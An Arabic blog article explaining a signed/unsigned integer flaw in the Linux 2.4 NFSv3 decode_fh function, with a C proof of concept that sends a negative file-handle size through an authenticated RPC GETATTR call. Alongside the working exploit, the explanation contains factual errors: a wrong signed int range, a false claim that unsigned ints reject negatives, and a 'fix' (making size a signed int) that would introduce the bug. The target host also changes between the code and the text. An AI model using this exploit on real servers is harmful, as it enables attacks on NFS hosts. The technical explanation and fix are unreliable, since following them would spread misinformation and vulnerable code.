دراسة ثغرة signed / unsigned في لينكس كيرنل linux kernel 2.4

عام 0 geek4arab
Spread the love
دراسة ثغرة signed / unsigned في لينكس كيرنل linux kernel 2.4
JAAScois.com » أبحاث ودراسات »
الكاتب: JAAScois
تاريخ النشر: 15/09/2005 م
سنتعرف في هذا الموضوع على طريقة برمجة مايعرف بالتحقق authentication لتبادل البيانات
بداية بالدول المستخدمة وطريقة التخاطب وفي النهاية شرح إكتشاف ثغرة وخطأ برمجي في احدى دوال RPC إختصار remote procedure calls

بداية الموضوع:
ماهو التحقق ؟ بإختصار هي طريقة او اسلوب حماية يستخدم بين جهاز العميل والجهاز السيرفر – او بين جهازين على الشبكة
وسنأخذ مثال على ذلك بروتوكول SSL/HTTPS والمنفذ الذي يستخدمة 443

عندما تدخل لصفحة يبدأ عنوانها ب https:// ويظهر في اسفل المتصفح صورة القفل ؟! معنى ذلك ان الموقع يستخدم بروتوكول SSL
هذا البروتوكول يستخدم التحقق authentication في إرسال البيانات ,, كيف
عندما نقول يستخدم التحقق في إرسال البيانات ,, معنى ذلك ان حزمة البيانات التي ترسل عبر الشبكة من خلال هذا البروتوكول
ستكون مختلفة عن اي حزمة بيانات اخرى من حيث تركيب وترتيب محتوى البيانات ؟!

بإختصار سيكون الترتيب بهذا الشكل :
1- حزمة بيانات مرسلة عبر الشبكة لا تستخدم التحقق ,, سيكون شكلها
– تروسية الحزمة – البيانات المرسلة
2- حزمة البيانات المرسلة عبر شبكة وتستخدم التحقق , سيكون شكلها
تروسية الحزمة – بلوك التحقق authentication – البيانات المرسلة

————-
مايهمنا من كل هذا هو( بلوك التحقق authentication )
هذا البلوك يحمل بيانات التحقق ,قد تكون عنوان ip او إسم مستخدم او كوكيز…
أنظمة يونكس تقوم بتشفير هذة البيانات ,, نوع التشفير المستخدم DES

///////////////////////
الآن , توجة إلى مسار الشفرة المصدرية لنظام لينكس , وبالتحديد إلى الملف linux-2.4.2.*/fs/nfsd/nfs3xdr.c

وبعد ان تفتح ملف الشفرة ,, توجهة لدالة فك تشفير الأرقام وهي: decode_fh
ستجدها بهذا الشكل:

static inline u32*
decode_fh(u32 *p, struct svc_fh *fhp)

{

unsigned int size;

fh_init(fhp, NFS3_FHSIZE);

size = ntohl(*p++);

if (size > NFS3_FHSIZE)

return NULL;

memcpy(&fhp->fh_handle.fh_base, p, size);

fhp->fh_handle.fh_size = size;
return p + XDR_QUADLEN(size);

}

هذة الدالة بها خطأ برمجي وثغرة ؟!
بإختصار الثغرة في اول سطر unsigned int size
كيف ؟!!
خلونا نرجع لأساسيات لغة السي ,, ونعرف ماذا تعني المتغيرات
في نظام لينكس او اي نظام 32 بت مثل وندوز ,, يكون حجم مسجل المعالج يساوي 32بت
بمعنى المتغير من نوع رقم صحيح وهو int سيكون حجمة 32 بت يعني 4 بايت ,,
هذة ال 4 بايت لها شكلين في لغة السي

أولاً:
إما ان تكون رقم مؤشر مثل signed int
الرقم المؤشر إما ان يكون سالب او موجب ,, وبهذا ستكون 4 بايت لحجم المتغير int محصورة بين السالب 65535 والموجب 65535
لو حسبت الفرق بين العددين السالب والموجب السابقين ستكون بحجم ال 4 بايت

ثانياً:
العدد الغير مؤشر في لغة السي مثل unsigned int
إذا قمت بتعريف اي عدد على انة غير مؤشر ,, سيمثل اي عدد من 0 إلى 4294967295

//
وبعد هذة المقدمة ,, يجب ان نعرف القانون التالي:
إذا كان العدد الصحيح غير مؤشرunsigned int ,, لن يقبل اي عدد سالب وسيحدث خطأ في هذة الحال
وإذا كان العدد مؤشر signed سيقبل اي قيمة بين المجال ( السالب 65535 والموجب 65535 ) واي قيمة غير ذلك ستحدث خطأ

//
وبعد إكتشاف هذة الملاحظة ,,, تم إكتشاف إستغلال يمكن ان ينفذ الدالة السابقة ويمرر لها عدد سالب ( بمعنى مؤشر)
إلى الدالة السابقة التي تعالج فقط الأعداد الغير مؤشرة ( بمعنى الموجبة)


طريقة الإستغلال ,, عبارة عن برنامج يستخدم دوال التحقق للوصول إلى الدالة السابقة

#include <rpcsvc/nfs_prot.h>
#include <rpc/rpc.h>
#include <rpc/xdr.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

#define NFSPROG 100003
#define NFSVERS 3
#define NFSPROC_GETATTR 1

static struct diropargs heh;

bool_t xdr_heh(XDR *xdrs, diropargs *heh)
{
int32_t werd = -1;
return xdr_int32_t(xdrs, &werd);
}

int main(void)
{
CLIENT * client;
struct timeval tv;

client = clnt_create(“marduk”, NFSPROG, NFSVERS, “udp”);

if(client == NULL) {
perror(“clnt_create\n”);
}

tv.tv_sec = 3;
tv.tv_usec = 0;
client->cl_auth = authunix_create_default();

clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh,
(xdrproc_t) xdr_void, NULL, tv);

return 0;
}

شرح الكود:

الدالة الأولى :
client = clnt_create(“jaascois.com”, NFSPROG, NFSVERS, “udp”);
إنشاء مقبض لبرنامج المستخدم
للإتصال بالسيرفر jaascois.com
البارمتر الثاني يمثل معرف البرنامج
البارمتر الثالث يمثل إصدار البرنامج
البارمتر الأخير يمثل البروتوكول المستخدم للإتصال مثل tcp و udp
//////////////////////////////////////////////////////
الدالة الثانية:
client->cl_auth = authunix_create_default();
إنشاء مقبض التحقق لبرنامج المستخدم
وتلاحظ اننا استخدمنا الدالة التالية لأنظمة يونكس
authunix_create_default
والسبب لكي يكون البرنامج متوافق مع أغلب إصدارات لينكس ويونكس
لأن دالة إنشاء مقبض التحقق تختلف في إصدارات اليونكس
Sun 2.x( Solaris ) , FreeBSD, AIX ,HP,…..

الدالة الثالثة والأخيرة ,, وهي دالة الإتصال وتنفيذ بقية الدوال

tv.tv_sec = 3;
tv.tv_usec = 0;
clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh,(xdrproc_t) xdr_void, NULL, tv);

كل الدوال السابقة كتبت فقط لتنفيذ هذا السطر

 int32_t werd = -1;
return xdr_int32_t(xdrs, &werd);

حيث ان الدالة xdr_int32_t هي الدالة المسؤلة عن تنفيذ دالة الخطأ ,, وتلاحظ تمرير عدد سالب للدالة ,, وهو محور حديثنا وسبب المشكلة

وفي النهاية ,, حل هذة المشكلة بسيط
وهو بتغيير المتغير unsigned int size إلى int size ,,,

الكاتب geek4arab

geek4arab

مواضيع متعلقة

التعليقات مغلقة